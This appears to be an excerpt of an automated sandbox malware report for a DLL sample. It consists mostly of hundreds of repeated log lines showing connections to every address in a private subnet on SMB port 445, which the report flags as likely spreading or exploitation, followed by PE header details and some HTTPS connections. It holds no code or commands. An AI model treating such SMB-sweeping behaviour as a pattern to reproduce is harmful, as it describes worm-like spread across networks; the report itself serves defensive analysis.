Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Source: 4Maoj78D1f.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.211.6.115:443 -> 192.168.2.7:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.5:443 -> 192.168.2.7:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.23:443 -> 192.168.2.7:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.7:50286 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.7:50285 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:50284 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.31.108.18:443 -> 192.168.2.7:50292 version: TLS 1.2
